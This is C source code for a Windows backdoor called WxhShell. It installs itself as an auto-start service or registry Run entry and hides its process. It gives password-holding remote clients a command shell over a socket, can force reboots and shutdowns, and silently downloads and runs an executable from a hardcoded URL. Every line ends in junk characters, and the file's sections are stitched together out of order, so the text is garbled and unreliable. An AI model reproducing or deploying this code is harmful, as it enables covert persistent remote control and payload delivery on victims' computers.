    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A^-iHm  
    if(Boot(SHUTDOWN)) W+8^P( K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8/Mx5~ R  
    else { TM0b-W (H  
    closesocket(wsh); 6#E7!-u(-  
    ExitThread(0); yr5NRs  
    } ) !i!3  
    break; VUp. j  
    } D3y>iQd   
  // 获取shell wS V@=)H\:  
  case 's': { l8^y]M  
    CmdShell(wsh); (v!mR+\x  
    closesocket(wsh); 0 sZwdO  
    ExitThread(0); gV|Y54}T  
    break; D i+4Eb  
  } 0pD[7~^o  
  // 退出 q3+I<qsAz  
  case 'x': { glx2I_y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]oEQ4  
    CloseIt(wsh); mbyih+amCr  
    break; B%fU'  
    } (-\]A|  
  // 离开 /l ^y}o %?  
  case 'q': { usy,V"{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UeA2c_ 5  
    closesocket(wsh); zj{(p Z1  
    WSACleanup(); I0iY+@^5  
    exit(1); _lP4}9p  
    break; 7,h3V=^)Q  
        } Qwv '<  
  } )6=gooe]  
  } GMdI0jaG#  
AF GwT%ZD  
  // 提示信息 KSc~GP _  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j{)~QD?  
} jB!W2~Z  
  } Y''6NGf  
eQ<xp A  
  return; OF8WDo`  
} 12lEs3  
4:U0f;Fs  
// shell模块句柄 dKm`14f]@G  
int CmdShell(SOCKET sock) Jn*Nao_)  
{ 9:-T@u  
STARTUPINFO si; 0R|K0XH#$  
ZeroMemory(&si,sizeof(si)); Z(HZB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D-pX<0 -y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >! oF0R_<  
PROCESS_INFORMATION ProcessInfo; :G}DAUFN  
char cmdline[]="cmd"; 4 [1k\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '00J~j~  
  return 0; #/ +I*B*y  
} y@3kU*-1  
akC>s8tqlA  
// 自身启动模式 )Oievu_"|  
int StartFromService(void) b+Vi3V  
{ ?L\z}0#  
typedef struct c4 5?St  
{ 4UD' %}>y  
  DWORD ExitStatus; .E$q&7@/j  
  DWORD PebBaseAddress; 2h )8Fq_"  
  DWORD AffinityMask; BSKEh"f  
  DWORD BasePriority; skR,-:"8  
  ULONG UniqueProcessId; RM,'o[%  
  ULONG InheritedFromUniqueProcessId; >rw"Rd'  
}   PROCESS_BASIC_INFORMATION; nLJBq)i  
~C| ,b"  
PROCNTQSIP NtQueryInformationProcess; E0YU[([G  
 eu9w|g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X`1p'JD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t#5:\U5r.  
TEWAZVE*  
  HANDLE             hProcess; Pbe7SRdr^  
  PROCESS_BASIC_INFORMATION pbi; <tuS,.  
Dx3%K S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JNBT^=x  
  if(NULL == hInst ) return 0; R hio7C  
~^7r?<aKc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ek ZjO Ci  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K]<u8eF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b[srG6{ &  
o1k#."wHr  
  if (!NtQueryInformationProcess) return 0; QKccrAo  
FJwt?3\u5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7`fY*O6   
  if(!hProcess) return 0; Dtt-|_EMS  
X *O9JGh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N09KVz2Q  
=dGKF`tR  
  CloseHandle(hProcess); s}(X]Gx1  
~ziexZ=N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E >}q2  
if(hProcess==NULL) return 0; S+ebO/$>  
b_vTGl1_6  
HMODULE hMod; 3dG4pl~  
char procName[255]; %[ Zz0|A  
unsigned long cbNeeded; lzDdD3Ouc  
]"sRS`0+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v[&'k\  
,I`_F,  
  CloseHandle(hProcess); tD-gc ''H  
_whF^g8  
if(strstr(procName,"services")) return 1; // 以服务启动 |<(t}}X  
XLb0 9;  
  return 0; // 注册表启动 tjxvN 4l  
} C:GvP>  
f xtxu?A>  
// 主模块 o56kp3b)b  
int StartWxhshell(LPSTR lpCmdLine) Ae49n4J  
{ jBpVxv  
  SOCKET wsl; 3cC }'j  
BOOL val=TRUE; 1[DS'S  
  int port=0; Ttv'k*$cP  
  struct sockaddr_in door; "={L+di:M  
v!trsjb  
  if(wscfg.ws_autoins) Install(); `?uPn~,e8  
+< KNY  
port=atoi(lpCmdLine); "}zda*z8  
VAKy^nR5j  
if(port<=0) port=wscfg.ws_port; xl2g0?  
LgHJo-+>  
  WSADATA data; d(S}NH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 10MU-h.)  
\hbiU ]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |ym%| B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RrWNJ&o  
  door.sin_family = AF_INET; ^~l  $&~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f&yQhe6q  
  door.sin_port = htons(port); =M<z8R  
Of`c`-<j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]k*1KP  
closesocket(wsl); ,4Y*:JU4  
return 1; [6R fS  
} gX,9Gh  
2[up+;%Y  
  if(listen(wsl,2) == INVALID_SOCKET) { &&PgOFD  
closesocket(wsl); 254~:eB0  
return 1; XDYosC:  
} a)9rs\Is{  
  Wxhshell(wsl); p4wr`" Zz  
  WSACleanup(); V`k8j-*s  
r7I B{}>-  
return 0; m:{tgcE  
;fGx;D  
} U)[ty@zyF  
y $V[_TN  
// 以NT服务方式启动 2jA%[L9d^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (vQ+e  
{ <v$QM;Ff  
DWORD   status = 0; s, XM9h>P4  
  DWORD   specificError = 0xfffffff; Y8ehmz|g]J  
H06Bj(Y!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G$5m$\K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]W) jmw'mo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AyTx'u  
  serviceStatus.dwWin32ExitCode     = 0; m;/i<:`  
  serviceStatus.dwServiceSpecificExitCode = 0; FFe) e>bH  
  serviceStatus.dwCheckPoint       = 0; SLoo:)  
  serviceStatus.dwWaitHint       = 0; rAXX}"l6s  
|Td5l?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FC}oL"kk  
  if (hServiceStatusHandle==0) return; >n!ni(  
~HDdO3  
status = GetLastError(); Np)aS[9W  
  if (status!=NO_ERROR) dWR1cvB(wY  
{ _/ Os^>R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >. LKct*5K  
    serviceStatus.dwCheckPoint       = 0; l`gTU?<xd  
    serviceStatus.dwWaitHint       = 0; ]}LGbv"`A  
    serviceStatus.dwWin32ExitCode     = status; xjq0D[  
    serviceStatus.dwServiceSpecificExitCode = specificError; VzwPBQ -  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @2' %o<lF  
    return; (ZPXdr  
  } 7ZFJexN]  
o4)hxs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TnE+[.Qu  
  serviceStatus.dwCheckPoint       = 0; /F~X,lm*~  
  serviceStatus.dwWaitHint       = 0; +R[4\ hC0Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oJY[{-qW  
} #@Y/{[s|@  
2k1aX~?  
// 处理NT服务事件,比如:启动、停止 QnKC#   
VOID WINAPI NTServiceHandler(DWORD fdwControl) _Bk U+=|J  
{ )saR0{e0N  
switch(fdwControl) Q$=*aUU%G  
{ }<[Db}?9  
case SERVICE_CONTROL_STOP: O9]\Q@M.  
  serviceStatus.dwWin32ExitCode = 0; LSkk;)'2K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XDLEVSly7  
  serviceStatus.dwCheckPoint   = 0; c> G@+  
  serviceStatus.dwWaitHint     = 0; -G b-^G  
  { ?~F. /  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9L)L|4A.l  
  } I/p]DT  
  return; ixw(c&gL  
case SERVICE_CONTROL_PAUSE: $TG?4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .JAcPyK^  
  break; F2>%KuM  
case SERVICE_CONTROL_CONTINUE: d6.}.*7Whc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s AE9<(g&@  
  break; 0BTLcEqgZ  
case SERVICE_CONTROL_INTERROGATE: <_:zI r,  
  break; (pYYkR"  
}; H(qm>h$bU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :vQM>9l7  
} 0Nr\2|  
kuS/S\Z5K  
// 标准应用程序主函数 3Gd0E;3sk~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I@./${o  
{ >XE`h 9  
BGqa-d  
// 获取操作系统版本 CC8k&u,  
OsIsNt=GetOsVer(); aRwnRii  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f7+Cz>R  
r!K|E95oj9  
  // 从命令行安装 &!1}`4$[T  
  if(strpbrk(lpCmdLine,"iI")) Install(); R6@uM<  
^:DyT@hQB5  
  // 下载执行文件 N@1p]\  
if(wscfg.ws_downexe) { SrZ50Se  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6?SFNDQ"C  
  WinExec(wscfg.ws_filenam,SW_HIDE); g6euXI  
} v0 ];W|  
'ZnIRE,N  
if(!OsIsNt) { -:]@HD:  
// 如果时win9x,隐藏进程并且设置为注册表启动 -JTG?JOd]  
HideProc(); #IX&9 aFB}  
StartWxhshell(lpCmdLine); xzikD,FV  
} wkikD  
else <t}?$1  
  if(StartFromService()) u!1/B4!'O  
  // 以服务方式启动 B8~= RmWLl  
  StartServiceCtrlDispatcher(DispatchTable); POGw`:)A  
else fIyPFqf7w)  
  // 普通方式启动 |Fv?6qw+  
  StartWxhshell(lpCmdLine); 2k+16/T  
-e*BqH2t  
return 0; v2J0u:#,  
} D/s?i[lb  
MsjnRX:c3u  
detLjlE  
&O tAAE  
=========================================== og-]tEWA1  
\"d?=uFe  
?}sOG?{  
o#e7,O  
j'Wp  
B>|5xpZM12  
" <]Y[XI(kr  
z5EVG  
#include <stdio.h> [hU=m S8=^  
#include <string.h> K0<yvew  
#include <windows.h> kp`0erJqw  
#include <winsock2.h> 3*WS"bt  
#include <winsvc.h> F]5\YYXO  
#include <urlmon.h> I:t^S.,  
o!Fl]3F  
#pragma comment (lib, "Ws2_32.lib") H#+xKYrp  
#pragma comment (lib, "urlmon.lib") tpU D0Z)  
ou6j*eSN  
#define MAX_USER   100 // 最大客户端连接数 [g|Hj)(  
#define BUF_SOCK   200 // sock buffer v@_in(dk  
#define KEY_BUFF   255 // 输入 buffer h7?.2Q&S  
{!=2<-Aq  
#define REBOOT     0   // 重启 ;3 UvkN  
#define SHUTDOWN   1   // 关机 3;y_mg  
E@pFTvo  
#define DEF_PORT   5000 // 监听端口 F= i!d,S  
NI\H \#bJ  
#define REG_LEN     16   // 注册表键长度 h{/ve`F>@  
#define SVC_LEN     80   // NT服务名长度 /=ylQn3 *  
(C`@a/q  
// 从dll定义API RVP18ub.S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z!CD6W1n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -N z}DW>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t w!.%_1^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :t>Q:mX(N  
+/q0Y`v  
// wxhshell配置信息 Nza; O[  
struct WSCFG { b-nYxd  
  int ws_port;         // 监听端口 (C\r&N  
  char ws_passstr[REG_LEN]; // 口令 ifrq  
  int ws_autoins;       // 安装标记, 1=yes 0=no  !!+Da>  
  char ws_regname[REG_LEN]; // 注册表键名 t/ eo]  
  char ws_svcname[REG_LEN]; // 服务名 PYieD}'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RbAt3k;y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IJIQ" s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S'@=3)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N D* ]gM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BD'NuI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hbnS~sva  
>zR14VO`_|  
}; q{@P+2<wF  
XnA6/^  
// default Wxhshell configuration 8.2`~'V  
struct WSCFG wscfg={DEF_PORT, ;+/NjC1  
    "xuhuanlingzhe", 1;`Fe":;vC  
    1, CJA+v-  
    "Wxhshell", KZ3B~#oQ  
    "Wxhshell", ?9S+Cj`  
            "WxhShell Service", `[@VxGy_  
    "Wrsky Windows CmdShell Service", yFO)<GLk  
    "Please Input Your Password: ", +2y&B,L_Wh  
  1, [<Jp#&u6sb  
  "http://www.wrsky.com/wxhshell.exe", Nt,~b^9  
  "Wxhshell.exe" {F!v+W>  
    }; u _X} -U  
^j iE9k)  
// 消息定义模块 8t\}c6/3"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ky6+~>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6eo4#/+%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H:Lt$  
char *msg_ws_ext="\n\rExit."; r=0j7^B#  
char *msg_ws_end="\n\rQuit."; >13/h]3  
char *msg_ws_boot="\n\rReboot..."; l0#4Fma  
char *msg_ws_poff="\n\rShutdown..."; $WClpvVj  
char *msg_ws_down="\n\rSave to "; * gHCy4u{  
MCHOK=G  
char *msg_ws_err="\n\rErr!"; 4cB&Hk  
char *msg_ws_ok="\n\rOK!"; ;NG1{]|Z  
{? 2;0}3?;  
char ExeFile[MAX_PATH]; sMX$Q45e  
int nUser = 0; en%B>]QI  
HANDLE handles[MAX_USER]; J7m`]!*t  
int OsIsNt; ?\M)WDO  
mR,O0O}&  
SERVICE_STATUS       serviceStatus; ]|y}\7Aa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k- vA#  
K=o:V&  
// 函数声明 AZBC P  
int Install(void); OA5f}+  
int Uninstall(void); %-r?=L  
int DownloadFile(char *sURL, SOCKET wsh); XLocg  
int Boot(int flag); \-d '9b?  
void HideProc(void); 7@@<5&mN  
int GetOsVer(void); LU G9 #.  
int Wxhshell(SOCKET wsl); p2^)2v  
void TalkWithClient(void *cs); j%u8=  
int CmdShell(SOCKET sock); E@mkm  
int StartFromService(void); HT-PWk>2  
int StartWxhshell(LPSTR lpCmdLine); !U[:5@s06  
Pv[ykrm/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2_.CX(kI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L?Tu)<Mn  
kz_M;h>  
// 数据结构和表定义 kkL(;H:%  
SERVICE_TABLE_ENTRY DispatchTable[] = <K,[sy&Qy  
{ B6uRJcD4  
{wscfg.ws_svcname, NTServiceMain}, !^-OfqIHfV  
{NULL, NULL} ]f5c\\)  
}; &~}@u[=ux  
vgN@~Xa  
// 自我安装 fOLnK y#  
int Install(void) W W35&mI)k  
{ F#KF6)P  
  char svExeFile[MAX_PATH]; }Q ;BQ2[  
  HKEY key; G}q<{<+$  
  strcpy(svExeFile,ExeFile); `xGT_0&ck  
@Rf^P(  
// 如果是win9x系统,修改注册表设为自启动 3wo'jOb  
if(!OsIsNt) { c`pYc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cg7)S[zl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c~37 +^B:  
  RegCloseKey(key); B/rzh? b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N:7.:Yw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [lZ=s[n.  
  RegCloseKey(key); S,VyUe4P4  
  return 0; YLE/w@*  
    } Zg2]GJP  
  } +dJ&tuL:S  
} N-xnenci  
else { eZ A6D\  
q6Rw4  
// 如果是NT以上系统,安装为系统服务 d&?F#$>7|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \D ^7Z97  
if (schSCManager!=0) eq{ [?/  
{ ) u-ns5  
  SC_HANDLE schService = CreateService py=i!vb&Z%  
  ( xmOM<0T  
  schSCManager, 1j+eD:d'  
  wscfg.ws_svcname, \:h0w;34O  
  wscfg.ws_svcdisp, ?o8a_9+  
  SERVICE_ALL_ACCESS, 3+j^E6@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >ks3WMm  
  SERVICE_AUTO_START, dt0T t  
  SERVICE_ERROR_NORMAL, +~:x}QwGT  
  svExeFile, n}f3Vrl  
  NULL, j+ I*Xw  
  NULL, =^#0.  
  NULL, g(1"GKg3K  
  NULL, <347 C{q  
  NULL aI 7Xq3  
  ); k 5t{  
  if (schService!=0) 'Z y{mq\  
  { ~RAzFLt6x  
  CloseServiceHandle(schService); |K6nOX!i  
  CloseServiceHandle(schSCManager); x~%\y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ? S8$5gA  
  strcat(svExeFile,wscfg.ws_svcname); v,8Si'"i+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kF#{An)P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J#+Op/mmo  
  RegCloseKey(key); *Q0lC1GQ  
  return 0; sFCf\y  
    } K[n<+e;G  
  } \Ec X!aC  
  CloseServiceHandle(schSCManager); {({ R:!c  
} !eV^Ah>PZ  
} Zi ma^IL  
4bE42c=Ca7  
return 1; { qjUI  
} X,&`WPA:S  
0,bt^a  
// 自我卸载 V, E9Uds  
int Uninstall(void) *Gf&q  
{ =Z^un&'  
  HKEY key; )eVzSj>MT  
 z I(xSX@  
if(!OsIsNt) { 5[1@`6j   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ixg\[5.Q+  
  RegDeleteValue(key,wscfg.ws_regname); n<=y"*  
  RegCloseKey(key); x,}ez  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w' .'Yu6  
  RegDeleteValue(key,wscfg.ws_regname); y(V&z"wk[  
  RegCloseKey(key);  B$@1QG  
  return 0; .vN)A *  
  } uQO(?nCi  
} /@6E3lh S  
} P>>f{3e.  
else { :vw0r`  
1<;\6sg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e og\pMv  
if (schSCManager!=0) CZF^Wxk  
{ 7? +5%7-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^tQPJ  
  if (schService!=0) cPV5^9\T  
  { N|bPhssFw  
  if(DeleteService(schService)!=0) { r4;^c}  
  CloseServiceHandle(schService); "0!~g/X`rK  
  CloseServiceHandle(schSCManager); 6Wf*>G*h  
  return 0; v`@5enr  
  } ?.]o_L_K  
  CloseServiceHandle(schService); i-|/2I9%  
  } ,xm;JXJ  
  CloseServiceHandle(schSCManager); )-MA!\=<  
} }_Tt1iai*  
} IvY,9D  
|~7+/VvI+  
return 1; USlF+RY@3L  
} B?$S~5  }  
+ZY2a7uI  
// 从指定url下载文件 b5lk0jA  
int DownloadFile(char *sURL, SOCKET wsh) &8pCHGmV)  
{ (7M^-_q]D  
  HRESULT hr; @$2`DI{_^  
char seps[]= "/"; (xI)"{   
char *token; Tnzco  
char *file; z4 GN8:~x  
char myURL[MAX_PATH]; ,R7=]~<io"  
char myFILE[MAX_PATH]; SH .9!lQv  
Gw{Gt]liq  
strcpy(myURL,sURL); b #o}=m  
  token=strtok(myURL,seps); le "JW/BD  
  while(token!=NULL) &*Q|d*CP  
  { rhlW  
    file=token; >1#DPU(g  
  token=strtok(NULL,seps); lCM6T;2ID  
  } 9O(i+fM  
g(ZeFOn  
GetCurrentDirectory(MAX_PATH,myFILE); jydp4ek_n  
strcat(myFILE, "\\"); T*7S;<2  
strcat(myFILE, file); "`gfy  
  send(wsh,myFILE,strlen(myFILE),0); )$2%&9b  
send(wsh,"...",3,0); Zkwy.Hq^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2+c>O%L  
  if(hr==S_OK) M Ak-=?t  
return 0; /vFxVBX  
else $O;N/N:m  
return 1; T%M1[<"Q  
C:|q'"F  
} G%V=idU*"  
EuR!yD  
// 系统电源模块 1puEP *P  
int Boot(int flag) ;oN{I@}k  
{ jKY Aid{-  
  HANDLE hToken; L%c]%3A  
  TOKEN_PRIVILEGES tkp; 8:3oH!n  
9,Crmbw8  
  if(OsIsNt) { @lb=-oR!~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pgLzFY['  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >S?C {_g  
    tkp.PrivilegeCount = 1; PCV58n3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8GF[)z&|P:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -s?dzX  
if(flag==REBOOT) { >/ *?4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CSd9\V  
  return 0; ~:P8g<w  
} Pj1K  
else { =]5DYRhX]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W TXD4}  
  return 0; ?~]1Gd  
} Z9 ;nC zHm  
  } qd#(`%_/  
  else { ]yj4~_&O  
if(flag==REBOOT) { #T gz,e9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )7Hon  
  return 0; "NX m\`8  
} [9YlLL@  
else { E :'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dy8In%  
  return 0; L.I}-n  
} 34++Rr [G  
} Mc#O+'](f  
B $ y44  
return 1; R:pBbA7E  
} qH {8n`  
-Y 6.?z  
// win9x进程隐藏模块 8JjU 9#  
void HideProc(void) ^t/'dfF  
{ `a/PIc"  
1drqWI~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); web8QzLLB  
  if ( hKernel != NULL ) 1 o  
  { MQbNWUi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ..Uw8u/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2]_4&mU  
    FreeLibrary(hKernel); pjmGzK  
  } }LHT#{+ x  
\Z6gXO_  
return; @gu77^='  
} }jyS\drJ  
xsY>{/C  
// 获取操作系统版本 dEAAm=K,<  
int GetOsVer(void) 2EqsfU* I  
{ +,{Wcb  
  OSVERSIONINFO winfo; N,sqrk]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OH!$5FEc  
  GetVersionEx(&winfo); vxzf[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d <|lLNS  
  return 1; cc2oFn  
  else H>X\C;X[  
  return 0; Jegx[*O>b  
} w ;s ]n  
+qSr=Y:+  
// 客户端句柄模块 #0YzPMV  
int Wxhshell(SOCKET wsl) Ck/_UY|  
{ D<D k1  
  SOCKET wsh; M|Lw`?T  
  struct sockaddr_in client; upEPv .h  
  DWORD myID; 3 q.[-.q  
Fgc:6<MGM  
  while(nUser<MAX_USER) _1>(GK5[  
{ >m_ p\$_  
  int nSize=sizeof(client); ;SlS!6.W-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jN'fm  
  if(wsh==INVALID_SOCKET) return 1; VATXsD  
^b|Nw:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =Zb"T5E  
if(handles[nUser]==0) $E9daUt8"J  
  closesocket(wsh); jFPE>F7-M  
else }JpslY*aS  
  nUser++; Edn$0D68u_  
  } 0P%|)Ae  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bh;b` 5  
xn x1`|1u  
  return 0; RwE*0 T  
} Cf1wM:K|8  
SFk11  
// 关闭 socket `9Q,=D+  
void CloseIt(SOCKET wsh) \Zz= 4 j  
{ 8a$jO+UvN  
closesocket(wsh); lA Ck$E  
nUser--; x}8T[  
ExitThread(0); sKG~<8M}  
} i37a}.;  
]stLC; nI  
// 客户端请求句柄 VqO<+~M,E  
void TalkWithClient(void *cs) A*26'  
{ +VpE-X=T  
@IyH(J],h  
  SOCKET wsh=(SOCKET)cs; }^ Ua  
  char pwd[SVC_LEN]; <{z3p:\  
  char cmd[KEY_BUFF]; ^* /v,+01f  
char chr[1]; 1~xn[acy  
int i,j; { d2f)ra.  
|>o0d~s  
  while (nUser < MAX_USER) { 6L6~IXL>  
-JQg ~1  
if(wscfg.ws_passstr) { }A'<?d8   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hb AMoow!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8hdAXWPn  
  //ZeroMemory(pwd,KEY_BUFF); 5vh"PlK`s  
      i=0; ao" ;5 m  
  while(i<SVC_LEN) { O]%m{afM  
a_iQlsU  
  // 设置超时 xP/1@6]_Je  
  fd_set FdRead; |`t!aG8  
  struct timeval TimeOut; C7 & 6rUX  
  FD_ZERO(&FdRead); pv?17(w(\  
  FD_SET(wsh,&FdRead); [sY1|eX   
  TimeOut.tv_sec=8; 4ysdna\+  
  TimeOut.tv_usec=0; J0*]6oD!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nec(^|[   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :_YG/0%I  
a$! {Tob2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); % x*Ec[l  
  pwd=chr[0]; 3 ws(uF9$  
  if(chr[0]==0xd || chr[0]==0xa) { wyA(}iSq  
  pwd=0; ~G ^}2#5  
  break; 53+rpU_  
  } d_7Xlp@  
  i++; gjN!_^ _  
    } 46?F+,Rzl  
U#]eN[  
  // 如果是非法用户,关闭 socket Py25k 0j!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c'Tu,-  
} 7D~O/#dcc  
=5=Vm[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y>cmKE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w3bH|VnU8;  
5NvyK[w]  
while(1) { UV8r&O  
8 W<)c  
  ZeroMemory(cmd,KEY_BUFF); &'ETx"  
QKaj4?p$|S  
      // 自动支持客户端 telnet标准   ut5!2t$c  
  j=0; 6ewOZ,"j"4  
  while(j<KEY_BUFF) { a&c#* 9t{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [11-`v0  
  cmd[j]=chr[0]; A%w]~ chC9  
  if(chr[0]==0xa || chr[0]==0xd) { }:D~yEP  
  cmd[j]=0; Z a1|fB  
  break; gsR9M%mv  
  } y=qo-v59'  
  j++; n]fbV/ x  
    } ]GR q  
DUliU8B}\  
  // 下载文件 @SG="L  
  if(strstr(cmd,"http://")) { 8\.1m9&r>o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \lakT_x  
  if(DownloadFile(cmd,wsh)) &?Z)V-1H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2GKU9cV*`  
  else -hR\Y 2?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qp.!U~  
  } <J }9.k  
  else { |QTqa~~B  
8EEQV}4  
    switch(cmd[0]) { IS4K$Ac.  
  W#\};P  
